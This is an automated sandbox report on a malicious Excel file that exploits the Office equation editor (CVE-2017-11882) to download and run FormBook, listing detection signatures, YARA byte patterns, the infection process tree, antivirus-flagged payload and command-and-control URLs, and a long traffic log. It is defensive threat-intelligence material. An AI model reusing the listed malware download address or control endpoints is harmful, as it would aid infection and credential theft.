Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
d0#U10dc.xls

Overview

General Information

Sample Name:d0#U10dc.xls
Original Sample Name:P72215__7_-.xls
Analysis ID:830388
MD5:4f1aac12084426a909da47a49cf59193
SHA1:2eaf1072958ea81e87c86b5ec7a63228d623854b
SHA256:b861cc02ce6ad439e78219a4a0c154188de055794950d3e5d7fc51178f72971c
Tags:CVE-2017-11882xls
Infos:

Detection

FormBook
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Sigma detected: EQNEDT32.EXE connecting to internet
System process connects to network (likely due to code injection or exploit)
Detected unpacking (changes PE section rights)
Antivirus detection for URL or domain
Multi AV Scanner detection for submitted file
Yara detected FormBook
Malicious sample detected (through community Yara rule)
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Antivirus / Scanner detection for submitted sample
Sigma detected: File Dropped By EQNEDT32EXE
Tries to steal Mail credentials (via file / registry access)
Maps a DLL or memory area into another process
Shellcode detected
Excel sheet contains many unusual embedded objects
DLL side loading technique detected
Office equation editor drops PE file
Found potential ransomware demand text
Tries to harvest and steal browser information (history, passwords, etc)
Sample uses process hollowing technique
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)
Queues an APC in another process (thread injection)
Machine Learning detection for dropped file
Modifies the context of a thread in another process (thread injection)
Office equation editor establishes network connection
Drops PE files to the user root directory
Antivirus or Machine Learning detection for unpacked file
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Sample execution stops while process was sleeping (likely an evasion)
HTTP GET or POST without a user agent
Downloads executable code via HTTP
Document misses a certain OLE stream usually present in this Microsoft Office document type
Potential document exploit detected (unknown TCP traffic)
Drops PE files
Tries to load missing DLLs
Contains functionality to read the PEB
Contains functionality to download and execute PE files
Checks if the current process is being debugged
PE file contains more sections than normal
Drops PE files to the user directory
Dropped file seen in connection with other malware
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Creates a process in suspended mode (likely to inject code)
Contains functionality for read data from the clipboard
Queries the volume information (name, serial number etc) of a device
Yara signature match
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to shutdown / reboot the system
PE file contains sections with non-standard names
Contains functionality to query CPU information (cpuid)
Found potential string decryption / allocating functions
Contains functionality to call native functions
Potential document exploit detected (performs DNS queries)
Contains functionality which may be used to detect a debugger (GetProcessHeap)
IP address seen in connection with other malware
Contains functionality for execution timing, often used to detect debuggers
Searches the installation path of Mozilla Firefox
Enables debug privileges
Office Equation Editor has been started
Contains functionality to download and launch executables
Document contains embedded VBA macros
Potential document exploit detected (performs HTTP gets)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

  • System is w7x64
  • EXCEL.EXE (PID: 1236 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)
  • EQNEDT32.EXE (PID: 544 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)
    • vbc.exe (PID: 1928 cmdline: "C:\Users\Public\vbc.exe" MD5: 7DE990046A20E6666627273589B014A5)
      • mcwfy.exe (PID: 3004 cmdline: "C:\Users\user\AppData\Local\Temp\mcwfy.exe" C:\Users\user\AppData\Local\Temp\ytljtt.f MD5: 6CB712E482D150A185F713D75314A75A)
        • mcwfy.exe (PID: 1016 cmdline: C:\Users\user\AppData\Local\Temp\mcwfy.exe MD5: 6CB712E482D150A185F713D75314A75A)
          • explorer.exe (PID: 1860 cmdline: C:\Windows\Explorer.EXE MD5: 38AE1B3C38FAEF56FE4907922F0385BA)
            • wscript.exe (PID: 3360 cmdline: C:\Windows\SysWOW64\wscript.exe MD5: 979D74799EA6C8B8167869A68DF5204A)
              • firefox.exe (PID: 3768 cmdline: C:\Program Files (x86)\Mozilla Firefox\Firefox.exe MD5: C2D924CE9EA2EE3E7B7E6A7C476619CA)
  • AcroRd32.exe (PID: 2704 cmdline: "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" -Embedding MD5: 2F8D93826B8CBF9290BC57535C7A6817)
    • RdrCEF.exe (PID: 1556 cmdline: "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043 MD5: 326A645391A97C760B60C558A35BB068)
  • WINWORD.EXE (PID: 3148 cmdline: "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" -Embedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Formbook, FormboFormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.
  • SWEED
  • Cobalt
https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000010.00000002.1184042628.00000000000E0000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
    00000010.00000002.1184042628.00000000000E0000.00000040.80000000.00040000.00000000.sdmpWindows_Trojan_Formbook_1112e116unknownunknown
    • 0x1f0e0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
    • 0xae4f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
    • 0x182f7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
    00000010.00000002.1184042628.00000000000E0000.00000040.80000000.00040000.00000000.sdmpFormbook_1autogenerated rule brought to you by yara-signatorFelix Bilstein - yara-signator at cocacoding dot com
    • 0x180f5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94
    • 0x17b91:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
    • 0x181f7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
    • 0x1836f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
    • 0xaa1a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06
    • 0x16ddc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
    • 0x1de87:$sequence_8: 3C 54 74 04 3C 74 75 F4
    • 0x1ee3a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
    00000008.00000002.1055408046.00000000003B0000.00000040.10000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
      00000008.00000002.1055408046.00000000003B0000.00000040.10000000.00040000.00000000.sdmpWindows_Trojan_Formbook_1112e116unknownunknown
      • 0x1f0e0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
      • 0xae4f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
      • 0x182f7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
      Click to see the 16 entries

      Unpacked PEs

      SourceRuleDescriptionAuthorStrings
      8.2.mcwfy.exe.400000.0.raw.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security
        8.2.mcwfy.exe.400000.0.raw.unpackWindows_Trojan_Formbook_1112e116unknownunknown
        • 0x20f03:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
        • 0xcc72:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
        • 0x1a11a:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
        8.2.mcwfy.exe.400000.0.raw.unpackFormbook_1autogenerated rule brought to you by yara-signatorFelix Bilstein - yara-signator at cocacoding dot com
        • 0x19f18:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94
        • 0x199b4:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
        • 0x1a01a:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
        • 0x1a192:$sequence_4: 5D C3 8D 50 7C 80 FA 07
        • 0xc83d:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06
        • 0x18bff:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
        • 0x1fcaa:$sequence_8: 3C 54 74 04 3C 74 75 F4
        • 0x20c5d:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
        8.2.mcwfy.exe.400000.0.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security
          8.2.mcwfy.exe.400000.0.unpackWindows_Trojan_Formbook_1112e116unknownunknown
          • 0x20103:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
          • 0xbe72:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
          • 0x1931a:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
          Click to see the 1 entries

          Sigma Signatures

          Exploits

          barindex
          Sigma detected: EQNEDT32.EXE connecting to internet
          Source: Network ConnectionAuthor: Joe Security: Data: DestinationIp: 103.189.202.84, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 544, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49171
          Sigma detected: File Dropped By EQNEDT32EXE
          Source: File createdAuthor: Joe Security: Data: EventID: 11, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 544, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe

          Snort Signatures

          ⊘No Snort rule has matched

          Joe Sandbox Signatures

          Click to jump to signature section

          Show All Signature Results

          AV Detection

          barindex
          Antivirus detection for URL or domain
          Source: http://103.189.202.84/889r12/vbc.exeAvira URL Cloud: Label: malware
          Source: http://www.fclaimrewardccpointq.shop/u2kb/Avira URL Cloud: Label: malware
          Source: http://www.fclaimrewardccpointq.shop/u2kb/www.fclaimrewardccpointq.shopAvira URL Cloud: Label: malware
          Source: http://www.bitservicesltd.com/u2kb/Avira URL Cloud: Label: malware
          Source: http://www.un-object.com/u2kb/Avira URL Cloud: Label: malware
          Source: http://www.energyservicestation.com/u2kb/www.energyservicestation.comAvira URL Cloud: Label: malware
          Source: http://www.gritslab.com/u2kb/www.gritslab.comAvira URL Cloud: Label: malware
          Source: http://www.thedivinerudraksha.com/u2kb/Avira URL Cloud: Label: malware
          Source: http://www.white-hat.uk/u2kb/www.white-hat.ukAvira URL Cloud: Label: malware
          Source: http://www.gritslab.com/u2kb/Avira URL Cloud: Label: malware
          Source: http://www.thedivinerudraksha.com/u2kb/www.thedivinerudraksha.comAvira URL Cloud: Label: malware
          Source: http://white-hat.uk/u2kb/?MX=PXfMycAZpTAipct8YcIlvAvira URL Cloud: Label: malware
          Source: http://103.189.202.84/889r12/vbc.exehhC:Avira URL Cloud: Label: malware
          Source: http://www.un-object.com/u2kb/www.un-object.comAvira URL Cloud: Label: malware
          Source: http://www.ecomofietsen.com/u2kb/Avira URL Cloud: Label: malware
          Source: http://www.shapshit.xyz/u2kb/Avira URL Cloud: Label: malware
          Source: http://www.avisrezervee.com/u2kb/Avira URL Cloud: Label: malware
          Source: http://www.222ambking.org/u2kb/Avira URL Cloud: Label: malware
          Source: http://www.ecomofietsen.com/u2kb/www.ecomofietsen.comAvira URL Cloud: Label: malware
          Source: http://www.bitservicesltd.com/u2kb/www.bitservicesltd.comAvira URL Cloud: Label: malware
          Source: http://103.189.202.84/889r12/vbc.exerAvira URL Cloud: Label: malware
          Source: http://www.avisrezervee.com/u2kb/www.avisrezervee.comAvira URL Cloud: Label: malware
          Source: http://www.bitservicesltd.com/u2kb/?MX=rr+sOBvEXsBdGevUkpEFvjOGSuYjzi1YNHmXivr92FQhRIIYsedR2a+6GoV1WAKeGdj+MTdX512lJXnwfbSEi+kURcMlXNjU4ipRv+g=&uFI_=sroxa_9G7qh93Avira URL Cloud: Label: malware
          Source: http://www.thewildphotographer.co.uk/u2kb/www.thewildphotographer.co.ukAvira URL Cloud: Label: malware
          Source: http://103.189.202.84/889r12/vbc.exejAvira URL Cloud: Label: malware
          Source: http://www.white-hat.uk/u2kb/?MX=PXfMycAZpTAipct8YcIlv+jRzdgnyvgF2k7967nf/qU1A0mUqq9Jlnm9rK8XSf3D04yKTuePtKPnTC045fzMwSdM+ozxnu9rCO36QPo=&uFI_=sroxa_9G7qh93Avira URL Cloud: Label: malware
          Source: http://www.gritslab.com/u2kb/?MX=ydCzFiH7iMWnz6xHMbeyIS2EYayY5efYQUsmgPEoYCSsyD6HgT3yOGCjssC2N8mKn+GjINYvhr7iKNK7QGdClLf278PMkWXjYWxIQds=&uFI_=sroxa_9G7qh93Avira URL Cloud: Label: malware
          Source: http://www.thewildphotographer.co.uk/u2kb/tAvira URL Cloud: Label: malware
          Source: http://www.ecomofietsen.com/u2kb/-wAAvira URL Cloud: Label: malware
          Source: http://www.germanreps.com/u2kb/5fQAvira URL Cloud: Label: malware
          Source: http://www.thewildphotographer.co.uk/u2kb/Avira URL Cloud: Label: malware
          Source: http://www.white-hat.uk/u2kb/Avira URL Cloud: Label: malware
          Source: http://www.energyservicestation.com/u2kb/Avira URL Cloud: Label: malware
          Source: http://www.222ambking.org/u2kb/www.222ambking.orgAvira URL Cloud: Label: malware
          Source: http://www.222ambking.org/u2kb/lAvira URL Cloud: Label: malware
          Multi AV Scanner detection for submitted file
          Source: d0#U10dc.xlsReversingLabs: Detection: 30%
          Yara detected FormBook
          Source: Yara matchFile source: 8.2.mcwfy.exe.400000.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 8.2.mcwfy.exe.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 00000010.00000002.1184042628.00000000000E0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000008.00000002.1055408046.00000000003B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000012.00000002.1137588402.0000000000230000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000008.00000002.1055247288.0000000000260000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000010.00000002.1184129727.00000000002B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000008.00000002.1055435528.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000010.00000002.1184187420.00000000002E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Antivirus / Scanner detection for submitted sample
          Source: d0#U10dc.xlsAvira: detected
          Machine Learning detection for dropped file
          Source: C:\Users\Public\vbc.exeJoe Sandbox ML: detected
          Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exeJoe Sandbox ML: detected
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeJoe Sandbox ML: detected
          Source: 6.2.mcwfy.exe.280000.0.unpackAvira: Label: TR/Crypt.ZPACK.Gen
          Source: 8.2.mcwfy.exe.400000.0.unpackAvira: Label: TR/Crypt.ZPACK.Gen

          Exploits

          barindex
          Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
          Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess created: C:\Users\Public\vbc.exe
          Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess created: C:\Users\Public\vbc.exe
          Office equation editor establishes network connection
          Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXENetwork connect: IP: 103.189.202.84 Port: 80
          Source: unknownProcess created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Temp\README (2).txtJump to behavior
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Temp\README (3).txtJump to behavior
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll
          Source: Binary string: wntdll.pdb source: mcwfy.exe, mcwfy.exe, 00000008.00000003.994250234.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, mcwfy.exe, 00000008.00000002.1056057741.0000000000AB0000.00000040.00001000.00020000.00000000.sdmp, mcwfy.exe, 00000008.00000003.980520259.0000000000640000.00000004.00000020.00020000.00000000.sdmp, mcwfy.exe, 00000008.00000002.1056057741.0000000000930000.00000040.00001000.00020000.00000000.sdmp, wscript.exe, 00000010.00000002.1184542105.0000000002400000.00000040.00001000.00020000.00000000.sdmp, wscript.exe, 00000010.00000002.1184542105.0000000002280000.00000040.00001000.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.1055259646.0000000001F90000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.1056803818.00000000020F0000.00000004.00000020.00020000.00000000.sdmp
          Source: Binary string: wscript.pdb source: mcwfy.exe, 00000008.00000002.1055471860.0000000000564000.00000004.00000020.00020000.00000000.sdmp, mcwfy.exe, 00000008.00000002.1055885124.0000000000860000.00000040.10000000.00040000.00000000.sdmp
          Source: Binary string: c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\obj-firefox\browser\app\firefox.pdb source: wscript.exe, 00000010.00000003.1125600882.0000000006562000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.1126038884.00000000053D0000.00000004.00000020.00020000.00000000.sdmp
          Source: Binary string: wscript.pdbN source: mcwfy.exe, 00000008.00000002.1055471860.0000000000564000.00000004.00000020.00020000.00000000.sdmp, mcwfy.exe, 00000008.00000002.1055885124.0000000000860000.00000040.10000000.00040000.00000000.sdmp
          Source: C:\Users\Public\vbc.exeCode function: 5_2_00405D74 CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,
          Source: C:\Users\Public\vbc.exeCode function: 5_2_0040699E FindFirstFileW,FindClose,
          Source: C:\Users\Public\vbc.exeCode function: 5_2_0040290B FindFirstFileW,
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 6_2_004089B8 FindFirstFileExW,

          Software Vulnerabilities

          barindex
          Shellcode detected
          Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_035B0646 URLDownloadToFileW,ShellExecuteExW,ExitProcess,
          Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_035B06A7 ShellExecuteExW,ExitProcess,
          Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_035B06C5 ExitProcess,
          Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_035B05EB URLDownloadToFileW,ShellExecuteExW,ExitProcess,
          Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_035B0690 ShellExecuteExW,ExitProcess,
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
